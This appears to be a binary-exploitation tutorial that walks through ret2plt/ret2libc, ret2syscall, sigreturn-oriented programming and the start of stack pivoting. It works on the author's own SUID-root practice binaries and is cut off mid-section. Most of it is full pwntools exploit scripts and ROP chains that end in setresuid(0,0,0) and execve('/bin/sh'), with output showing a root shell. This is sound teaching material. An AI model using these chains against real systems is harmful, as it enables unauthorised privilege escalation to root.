gcc ret2plt.c -o ret2plt -no-pie -fno-stack-protector

1
2
ls -la ret2plt         
-rwsr-sr-x 1 root root 16920 Jun 26 17:03 ret2plt
1
2
❯ checksec --file=ret2plt --format=json
{ "ret2plt": { "relro":"partial","canary":"no","nx":"yes","pie":"no","rpath":"no","runpath":"no","symbols":"yes","fortify_source":"no","fortified":"0","fortify-able":"1" } }

Since there is no canary enabled we can perform buffer overflow and there is NX enabled it means we can’t perform Ret2Shellcode.

1
2
3
4
❯ ./ret2plt         
Enter Data -
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 5655 segmentation fault (core dumped) ./ret2plt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401090 puts@plt
0x00000000004010a0 setresuid@plt
0x00000000004010b0 setresgid@plt
0x00000000004010c0 geteuid@plt
0x00000000004010d0 gets@plt
0x00000000004010e0 getegid@plt
0x00000000004010f0 _start
0x0000000000401120 _dl_relocate_static_pie
0x0000000000401130 deregister_tm_clones
0x0000000000401160 register_tm_clones
0x00000000004011a0 __do_global_dtors_aux
0x00000000004011d0 frame_dummy
0x00000000004011d6 init
0x0000000000401223 main
0x0000000000401260 __libc_csu_init
0x00000000004012d0 __libc_csu_fini
0x00000000004012d8 _fini

First find offset at which overflow occurs, I have already did it and got offset of 40. To bypass ASLR we first need to leak Randomized Address because if we got Randomized Address we can get or Base Address as as we said in previous section. We can leak it using Ret2PLT.

We first need to find function Randomized Address and it is stored in GOT. Run the program and during input section press CTRL+C so program wont quit, We did this in previous attacks so next time i wont say this.

1
2
3
4
5
6
pwndbg> r
Starting program: /home/at0m/ret2plt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter Data -
^C

Now use got command to get address.

got.png

We can see that we got Randomized Address. So, We just print it ? No since its Randomized Address if we run program again it will be changed thats why we need to somehow leak this address at runtime and use it to calculate the base address of loaded libc. We can use function like puts@GLIBC to print content of GOT entry, for example puts@GLIBC which will reveal the actual memory address of puts function in libc during execution. Once we have leaked address, we can compute the libc base by subtracting the known offset of puts from the leaked address. Then, using this base, we can locate other useful libc functions like system, and strings like "/bin/sh", to craft a second-stage payload and gain shell access.

We also need rdi address as puts function takes arguments, the first argument to function is passed on rdi register, the second in rsi, third in rdx and so on. So, when we want to call:

1
system("/bin/sh")

We need to make sure that rdi points to address of string "bin/sh" and also that the instruction pointer (RIP) is set to the address of system.

Like previously we can run ROPgadget and get the address of rdi.

1
2
3
4
5
6
7
❯ ROPgadget --binary ret2plt 
<SNIP>
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040101a : ret
<SNIP>

We found a pop rdi ; ret gadget at 0x00000000004012c3. This is crucial for placing a value (such as the address of a string like "/bin/sh") into the rdi register, which is required for setting up the first argument to functions like puts or system. We also identified a standalone ret gadget at 0x000000000040101a, which is optional but useful. It’s commonly used to fix stack alignment issues (especially when calling functions through libc with certain ABI constraints).

1
0x00000000004012c3 : pop rdi ; ret

The ret at the end of this gadget ensures the code can continue executing by returning to the next address on the stack, typically the function we’re trying to call (e.g., puts@plt). Without this, control flow would break. Using these gadgets allows us to build a reliable ROP chain for further exploitation.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts)

io.sendline(payload)

io.interactive()

If we run this incomplete exploit now.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 main.py
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 7842
[*] Switching to interactive mode
Enter Data -
\xe0{\x08ƨs
[*] Got EOF while reading in interactive

We can see now we got \xe0{\x08ƨs, We got our leaked address but this is in little-endian format thats why is weird and terminal can’t display properly. If we run it again we will get different address because its random, We first need to print leaked address in hex format or integer format.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts)

io.sendline(payload)

print(io.recvall())

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ python3 main.py
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 8646
[+] Receiving all data: Done (21B)
[*] Process '/home/at0m/ret2plt' stopped with exit code -11 (SIGSEGV) (pid 8646)
b'Enter Data - \n\xe0{\x88\xddHr\n'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

We only need this \xe0{\x88\xddHr we can see that its in between \n which means newline so its in second line first index.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts)

io.sendline(payload)

leak = io.recvlines(2)[1]
print(leak)

io.interactive()

We can now see only our leaked address being print.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ python3 main.py
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 8759
b'\xe0{h\x01\x88x'
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

As we can see its still in little-endian format. We know pack function in pwntools converts hex or integer into little-endian format so we can use another function called unpack to reverse it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts)

io.sendline(payload)

leak = io.recvlines(2)[1]
leak_int = unpack(leak, 'all')
print(hex(leak_int))

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ python3 main.py
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 8900
0x732e57e87be0
[*] Switching to interactive mode
[*] Got EOF while reading in interactive

Okay, we now have the randomized address of puts, but to proceed, we need the base address of libc. This can be calculated by subtracting the known offset of puts (within libc) from the leaked address. This offset can be obtained from tools like libc.rip or by checking the symbols in a known libc.so file using objdump but first we need to find where is libc.so in our Machine. We can do by:

1
2
3
4
❯ ldd ./ret2plt
linux-vdso.so.1 (0x00007ffed34db000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd68f000000)
/lib64/ld-linux-x86-64.so.2 (0x00007fd68f38e000)

We got /lib/x86_64-linux-gnu/libc.so.6 now we can use objdump:

1
objdump -T  /lib/x86_64-linux-gnu/libc.so.6 | grep -i puts

objdump.png
We got address 0000000000087be0, put 0x before to write in hex format like this: 0x0000000000087be0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts)

io.sendline(payload)

leak = io.recvlines(2)[1]
leak_int = unpack(leak, 'all')
libc_base = leak_int - 0x0000000000087be0
print(hex(libc_base))

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
❯ python3 main.py                                           
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 9598
0x7ae02f400000

Now we have our base address. We can just do Ret2libc attack. But here is one problem program exits after entering the payload, it just asks for input so we cant send payload next time for Ret2libc thats why we have to add main in end of payload. If we do this it will again return to main function.

1
payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts) + pack(elf.sym.main)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')

io = process()

#ret2plt
pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts) + pack(elf.sym.main)

io.sendline(payload)

#recv leak
leak = io.recvlines(2)[1]
leak_int = unpack(leak, 'all')
libc_base = leak_int - 0x0000000000087be0
print(hex(libc_base))

#ret2libc

payload = cyclic(40) + pack(pop_rdi) +

io.interactive()

Now after pop_rdi we need to call /bin/sh we need its address, which is addition of libc_base and offset of /bin/sh we can find offset of /bin/sh using this command:

1
2
❯ strings -t x /lib/x86_64-linux-gnu/libc.so.6 | grep -i /bin/sh
1cb42f /bin/sh

We get offset 1cb42f. Do same for system function also. Since its function not string like /bin/sh we should use objdump.

1
2
❯ objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep 'system' 
0000000000058750 w DF .text 000000000000002d GLIBC_2.2.5 system

We got offset 0000000000058750.

Now here is final exploit, I modified few things because above exploit was had few issues but logic is still same. The issue in my previous code came from using sendlineafter(payload) instead of properly waiting for the input prompt with sendlineafter(b'Enter Data -', payload). Because of this, I ended up sending the payload before the binary was ready to read input, which led to a segmentation fault. I also tried to unpack the leaked address directly using unpack(leak, 'all') without checking if the leak was clean or even valid. Sometimes the output had garbage or was empty, which caused wrong libc base calculations like getting 0x0 or other invalid addresses. Once I fixed the prompt handling and made sure the leak was processed properly, the exploit started working exactly as intended.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2plt')
io = process()

# ret2plt
pop_rdi = 0x00000000004012c3
puts = elf.sym.puts

payload = cyclic(40) + pack(pop_rdi) + pack(elf.got.puts) + pack(puts) + pack(elf.sym.main)

# You must give prompt if binary expects input (or it races)
io.sendlineafter(b'Enter Data -', payload)

# recv leak
io.recvline() # skip first line
leak = io.recvline().strip().ljust(8, b'\x00') # pad to 8 bytes
leak_int = unpack(leak, 'all')
libc_base = leak_int - 0x0000000000087be0

# ret2libc
bin_sh_addr = libc_base + 0x1cb42f
ret = 0x000000000040101a
system = libc_base + 0x0000000000058750

payload = cyclic(40) + pack(pop_rdi) + pack(bin_sh_addr) + pack(ret) + pack(system)
io.sendlineafter(b'Enter Data -', payload)

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ python3 main.py
[*] '/home/at0m/ret2plt'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
[+] Starting local process '/home/at0m/ret2plt': pid 13452
[*] Switching to interactive mode

$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),105(lpadmin),125(sambashare),128(docker),1000(at0m)

0xA - Ret2Syscall

In operating systems, there are two primary modes of operation: user mode and kernel mode. These modes help maintain system security and stability by controlling how programs interact with hardware and critical system resources.

In kernel mode, the operating system has unrestricted access to all system resources, including hardware devices and memory. This mode is reserved for the most trusted functions, such as managing processes, handling interrupts, and executing system calls. Any code running in kernel mode can potentially crash the system if it misbehaves, which is why it is limited to the OS core components.

In contrast, user mode is a restricted environment where regular applications run. Programs in user mode cannot directly access hardware or critical memory areas. Instead, they must request services from the operating system through system calls. If a user-mode application crashes, it generally does not affect the rest of the system, making this mode safer for running third-party code.

Switching between these modes happens when a user-mode program makes a system call, temporarily shifting control to kernel mode to perform the requested task, and then returning to user mode. This separation ensures robust protection and efficient system management.

kmodenumode.png

A system call is like a way for a program to ask the operating system to do something on its behalf. Since programs don’t have direct access to hardware or critical system resources, they use system calls to request things like reading or writing files, creating processes, or communicating over the network. It’s basically the bridge between user-level code and the kernel, letting programs perform tasks that require higher privileges.

introduction_to_system_call.webp

System Call on Linux x86-64 (AMD64)

On Linux x86-64, the system call convention uses specific registers for each argument, with up to six allowed:

  • rax: Holds the system call number — this tells the OS which service you want to use (for example, 1 for exit, 0 for read, 1 for write).

  • rdi: Holds the first argument to the system call. For example, if you’re writing to a file, this could be the file descriptor (like 1 for standard output).

  • rsi: Holds the second argument. For example, this could be the pointer (memory address) to the buffer containing data you want to write or read.

  • rdx: Holds the third argument, such as the number of bytes you want to write or read.

  • r10: Holds the fourth argument if needed.

  • r8: Holds the fifth argument.

  • r9: Holds the sixth argument.

Example: write syscall (write to stdout)

1
2
3
4
5
6
7
8
mov     rax, 1          ; syscall number for sys_write
mov rdi, 1 ; first argument: file descriptor 1 (stdout)
mov rsi, message ; second argument: pointer to buffer to write
mov rdx, length ; third argument: number of bytes to write
syscall ; invoke the system call

; after syscall, rax contains the number of bytes written or error code

There are different types of syscalls here are most common syscalls:

Syscall Description
read Read from a file descriptor
write Write to a file descriptor
open / openat Open a file or device
close Close a file descriptor
stat / fstat / lstat Get file status info
mmap / munmap Memory map files or devices
brk Change data segment size (used by malloc)
execve Execute a program
fork / clone / vfork Create a new process
exit / _exit Terminate a process
wait4 / waitpid Wait for a child process
getpid Get process ID
getppid Get parent process ID
ioctl Device-specific I/O control operations
lseek Move the read/write file offset
access Check file access permissions
recvfrom / sendto Receive/send network packets (sockets)
socket Create a socket
connect / bind / listen / accept Socket-related operations
nanosleep Sleep for a short duration
rt_sigaction Setup signal handlers
rt_sigprocmask Signal blocking/unblocking
poll / select / epoll_wait Wait for I/O readiness
gettimeofday Get current time
clock_gettime More precise time function
We will be using execve syscall to execute us a shell in our challenge. In some situation we may need to read flag.txt in that case we can use read syscall.

Exploitation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
section .text
global main

main:
mov rax, 1;
mov rdi, 1;
mov rsi, string;
mov rdx, 13;
syscall;
mov rax, 0;
mov rdi, 0;
mov rsi, rsp;
sub rsi, 8;
mov rdx, 300;
syscall;
ret;

pop rax;
ret;
pop rdi;
ret;
pop rsi;
ret;
pop rdx;
ret;

section .data

string: db 'Enter Data - '
bin_sh: db '/bin/sh'
1
2
ls -la ret2syscall            
-rwsr-sr-x 1 root root 16272 Jun 26 17:03 ret2syscall
1
2
sudo chown root:root ret2syscall
sudo chmod u+s,g+s ret2syscall
1
2
3
4
5
6
7
8
9
10
❯ checksec --file=ret2syscall             
[*] '/home/at0m/ret2syscall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

Has no protection.

1
2
3
❯ ./ret2syscall
Enter Data - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[1] 15446 segmentation fault (core dumped) ./ret2syscall

Offset for overflow is 8.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401020 _start
0x0000000000401050 _dl_relocate_static_pie
0x0000000000401060 deregister_tm_clones
0x0000000000401090 register_tm_clones
0x00000000004010d0 __do_global_dtors_aux
0x0000000000401100 frame_dummy
0x0000000000401110 main
0x000000000040114c _fini

pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401110 <+0>: mov eax,0x1
0x0000000000401115 <+5>: mov edi,0x1
0x000000000040111a <+10>: movabs rsi,0x404010
0x0000000000401124 <+20>: mov edx,0xd
0x0000000000401129 <+25>: syscall
0x000000000040112b <+27>: mov eax,0x0
0x0000000000401130 <+32>: mov edi,0x0
0x0000000000401135 <+37>: mov rsi,rsp
0x0000000000401138 <+40>: sub rsi,0x8
0x000000000040113c <+44>: mov edx,0x12c
0x0000000000401141 <+49>: syscall
0x0000000000401143 <+51>: ret
0x0000000000401144 <+52>: pop rax
0x0000000000401145 <+53>: ret
0x0000000000401146 <+54>: pop rdi
0x0000000000401147 <+55>: ret
0x0000000000401148 <+56>: pop rsi
0x0000000000401149 <+57>: ret
0x000000000040114a <+58>: pop rdx
0x000000000040114b <+59>: ret
End of assembler dump.
pwndbg>

This time we don’t have any function that we can exploit instead we have raw assembly. Here is basic template we always use for our exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2syscall')

io = process()

payload = cyclic(8) +

io.sendline(payload)

io.interactive

From above we know whenever we want to call systemcall, Its number will go to rax, then its arguments will go to rdi, rsi, rdx and so on. So first we need these registers Address or we can say gadgets. Also we want address of syscall so we can call it at end.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ROPgadget --binary ret2syscall
Gadgets information
============================================================
<SNIP>
0x0000000000401144 : pop rax ; ret
0x00000000004010ed : pop rbp ; ret
0x0000000000401146 : pop rdi ; ret
0x000000000040114a : pop rdx ; ret
0x0000000000401148 : pop rsi ; ret
0x000000000040101a : ret
<SNIP>
0x0000000000401129 : syscall
<SNIP>

As we can see we got all gadgets needed in for our exploit. As I said above we are using execve system call for us to get shell and syscall number of execve is 59. Lastly we also need /bin/sh address, I have already shown how to do in previous sections. We got /bin/sh address 0x40401d (Use address of binary not libc).

We can run man 2 execve to check for execve arguments. First install man pages using sudo apt install manpages-dev.

1
2
3
4
5
6
7
8
9
<SNIP>
SYNOPSIS
#include <unistd.h>

int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

DESCRIPTION
execve() executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialized stack, heap, and (initialized and uninitialized) data segments.
<SNIP>

We can see its arguments:

1
int execve(const char *pathname, char *const _Nullable argv[], char *const _Nullable envp[]);

We only need to put value in its first arguments which is rdi so it means we only to need to put value in const char *pathname (In our case its /bin/sh ) other remaining Second and Third argument which are rsi and rdx respectively will be set to NULL or 0.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2syscall')

io = process()

pop_rax = pack(0x0000000000401144)
pop_rdi = pack(0x0000000000401146)
pop_rsi = pack(0x0000000000401148)
pop_rdx = pack(0x000000000040114a)
syscall = pack(0x0000000000401129)

payload = cyclic(8) + pop_rax + pack(59) + pop_rdi + pack(0x40401d) + pop_rsi + pack(0) + pop_rdx + pack(0) + syscall

io.sendline(payload)

io.interactive()

We overflowed the return address to inject a crafted ROP chain. This sets up the registers required for the execve syscall using available pop gadgets, then calls the syscall instruction to spawn a shell.

The problem is, despite the binary being SUID-root, the shell drops privileges back to my user (uid=1000) because the kernel automatically clears effective UID in the child shell for security. So we will try to call setuid(0) syscall (or better yet setresuid(0, 0, 0) as shown earlier) before execve("/bin/sh", NULL, NULL) syscall. That way, the process has UID = 0 when the shell runs, and the shell won’t drop privileges.

Syscall Number Arguments
setuid(uid) 105 rdi = uid
setresuid(r,e,s) 117 rdi = ruid, rsi = euid, rdx = suid
execve(path, argv, envp) 59 rdi = path, rsi = argv, rdx = envp

setuid(0) sets only the effective UID to root, which is enough in many simple SUID exploits to gain root shell access. However, some systems or shells may still drop privileges if the real or saved UID isn’t also root. That’s where setresuid(0, 0, 0) is better it sets the real, effective, and saved UIDs all to 0, making the privilege change more complete and reliable. For our exploit, setresuid(0, 0, 0) is the better and safer choice, especially if we want to guarantee that the shell runs fully as root without dropping privileges. So we will use setresuid(0, 0, 0) as good practice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./ret2syscall')
io = process()

pop_rax = pack(0x401144)
pop_rdi = pack(0x401146)
pop_rsi = pack(0x401148)
pop_rdx = pack(0x40114a)
syscall = pack(0x401129)
bin_sh = pack(0x40401d)

payload = cyclic(8) + pop_rax + pack(117) + pop_rdi + pack(0) + pop_rsi + pack(0) + pop_rdx + pack(0) + syscall + pop_rax + pack(59) + pop_rdi + bin_sh + pop_rsi + pack(0) + pop_rdx + pack(0) + syscall

io.sendline(payload)
io.interactive()

0XB - Sigreturn Oriented Programming(SROP)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
section .text
global main

main:
mov rax, 1;
mov rdi, 1;
mov rsi, string;
mov rdx, 13;
syscall;
mov rax, 0;
mov rdi, 0;
mov rsi, rsp;
sub rsi, 8;
mov rdx, 300;
syscall;
ret;

pop rax;
ret;

section .data

string: db 'Enter Data - '
bin_sh: db '/bin/sh'
1
2
nasm -f elf64 srop.nasm
gcc srop.o -o srop -no-pie
1
2
ls -la srop                
-rwsr-sr-x 1 root root 16264 Jun 26 17:03 srop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ ./srop       
Enter Data - aaaaaaaaa
[1] 26196 segmentation fault (core dumped) ./srop

❯ checksec --file=srop
[*] '/home/at0m/srop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

In techniques like Ret2syscall we needed to fill up arguments using gadgets like pop rdi, ret which we used to find using ROPgadget but it is hard to find these gadgets in particular binary but in this SROP technique we use particular system call which doesn’t need any arguments it means we don’t need any gadgets and we will get shell also.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401020 _start
0x0000000000401050 _dl_relocate_static_pie
0x0000000000401060 deregister_tm_clones
0x0000000000401090 register_tm_clones
0x00000000004010d0 __do_global_dtors_aux
0x0000000000401100 frame_dummy
0x0000000000401110 main
0x0000000000401150 __libc_csu_init
0x00000000004011c0 __libc_csu_fini
0x00000000004011c8 _fini
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000401110 <+0>: mov eax,0x1
0x0000000000401115 <+5>: mov edi,0x1
0x000000000040111a <+10>: movabs rsi,0x404028
0x0000000000401124 <+20>: mov edx,0xd
0x0000000000401129 <+25>: syscall
0x000000000040112b <+27>: mov eax,0x0
0x0000000000401130 <+32>: mov edi,0x0
0x0000000000401135 <+37>: mov rsi,rsp
0x0000000000401138 <+40>: sub rsi,0x8
0x000000000040113c <+44>: mov edx,0x12c
0x0000000000401141 <+49>: syscall
0x0000000000401143 <+51>: ret
0x0000000000401144 <+52>: pop rax
0x0000000000401145 <+53>: ret
0x0000000000401146 <+54>: cs nop WORD PTR [rax+rax*1+0x0]
End of assembler dump.

This time we don’t have much gadgets except pop rax. This is where SROP comes to play.

The kernel provides a syscall called sigreturn (number 15 on x86_64) to restore CPU state after handling a signal. Signals are software interrupts sent to processes to notify them of events. Internally, the kernel expects a sigcontext structure on the stack, which contains:

  • rip, rax, rdi, rsi, rdx, etc.

When a signal is handled, the OS saves the process’s CPU registers and state on the stack. When the signal handler returns, it uses sigreturn to restore those registers and continue execution as if the signal never interrupted the program.

This is how Signal handling works in simple diagram:

srop.png

Common signals in Linux:

Signal Name Number Description
SIGINT 2 Interrupt from keyboard (Ctrl+C)
SIGSEGV 11 Invalid memory reference (segfault)
SIGKILL 9 Kill signal (cannot be caught)
SIGTERM 15 Termination request
SIGALRM 14 Alarm clock timer expired
SIGSTOP 19 Stop process (cannot be caught)
SIGUSR1 10 User-defined signal 1
SIGUSR2 12 User-defined signal 2

So whenever we call sigreturn system call, CPU thinks that there is signal handler called and it will put values from stack and put it in registers. So we can control value going into registers coz we are controlling the stack also by our stack overflow technique.

By crafting a fake sigreturn frame on the stack, we can set registers like rip, rsp, rax, rdi, rsi, rdx, etc., to values of their choice.

We have to put 31 values from stack to registers to use sigreturn system call. So we have to write 31 in stack. In most we can write we can write 0 or NULL but we can’t in some cases like in rip register, rsp register. Order also matter doing this process like rdi register are in 14 number in stack frame (frame means block of data in memory or specifically on the stack) so we must follow order.

As always we first need to find offset value of overflow which I have already did it and its 8.

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./srop')

io = process()

payload = cyclic(8) +

io.sendline(payload)

io.interactive()

Now we need to call sigreturn system call and we don’t need gadgets this time because we don’t need any argument for this system call. But we need rax to specify system call and syscall address obviously which is in binary.

1
2
3
4
5
❯ ROPgadget --binary srop 
<SNIP>
0x0000000000401144 : pop rax ; ret
0x0000000000401129 : syscall
<SNIP>

Like how execve system call number was 59, sigreturn is 15.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./srop')

io = process()

pop_rax = pack()
syscall = pack()


payload = cyclic(8) + pop_rax + pack(15) + syscall +

io.sendline(payload)

io.interactive()

Now after we added syscall the things we add after this will go to register from our stack. Either we can add 31 values manually but its pain pwntools already has Class for it. We don’t need to write pack() function in frame classes because they are already packed, frame class does it for us. We didn’t filled all 31 because you only need to set the registers that matter for your exploit. The rest can be left as zero or default values the kernel doesn’t care unless those values affect your payload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/python3

from pwn import *

elf = context.binary = ELF('./srop')

io = process()

pop_rax = pack(0x0000000000401144)
syscall = pack(0x0000000000401129)

frame = SigreturnFrame()

# 'execve' syscall

frame.rax = 59 # 'execve' syscall because we want to spawn shell

# 'execve' arguments

frame.rdi = 0x404035 # Address of '/bin/sh'
frame.rsi = 0 # NULL
frame.rdx = 0 # NULL
frame.rip = 0x0000000000401129 # As we said 'rip' cant be empty so at end it will point to syscall address so that we can execute it

payload = cyclic(8) + pop_rax + pack(15) + syscall + bytes(frame)

io.sendline(payload)

io.interactive()

The problem is, despite the binary being SUID-root, the shell drops privileges back to my user (uid=1000) because the kernel automatically clears effective UID in the child shell for security. So like in Ret2Syscall we can add setresuid(0, 0, 0) before calling execve("bin/sh", NULL, NULL).

0xC - Stack Pivoting

We can move data between registers like

1
2
mov rsi, 42
mov rdi, rsi

We moved 42 into rsi then moves value of rsi into rdi
Syntax of mov instruction is:

  • mov destination, source like how we moved from rsi to rdi destination to source.

Each register in x86_64 is 64 bits in size, and in the previous levels, we have accessed the full register using raxrdi, or rsi. We can also access the lower bytes of each register using different register names. For example, the lower 32 bits of rax can be accessed using eax, the lower 16 bits using ax, and the lower 8 bits using al.

1
2
3
4
5
6
7
8
9
10
MSB                                    LSB
+----------------------------------------+
| rax |
+--------------------+-------------------+
| eax |
+---------+---------+
| ax |
+----+----+
| ah | al |
+----+----+

Like this for rdi its 32 bit would be edi.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>

char bin_sh[] = "/bin/sh\x00";

void win(int arg1, int arg2) {
if (arg1 == 0xbabecafe && arg2 == 0xcafebabe) {
asm ("movl $59,%eax\n\t"
"movl $0x404040,%edi\n\t"
"movl $0,%esi\n\t"
"movl $0,%edx\n\t"
"syscall\n\t"
);
}
}

void vuln() {
char buffer[0x60];
void *pivot;
pivot = malloc(0x1000);
printf("Pivot To - %p\n",pivot);
printf("Enter Data - ");
fgets(pivot,0x100, stdin);
printf("Pivot! Pivot! Pivot! - ");
fgets(buffer, 0x80, stdin);
}

int main() {
vuln();
return 0;
}
1
gcc pivot.c -o pivot -no-pie -fno-stack-protector
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ls -la pivot
-rwsr-sr-x 1 root root 16872 Jun 26 17:03 pivot

❯ checksec --file=pivot
[*] '/home/at0m/pivot'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No

❯ ./pivot
Pivot To - 0x48302a0
Enter Data - AAAAAAAAAA
Pivot! Pivot! Pivot! - BBBBBBBB

❯ ./pivot
Pivot To - 0x14a632a0
Enter Data - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Pivot! Pivot! Pivot! - BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

We can see its leaking address.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
pwndbg> info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401060 printf@plt
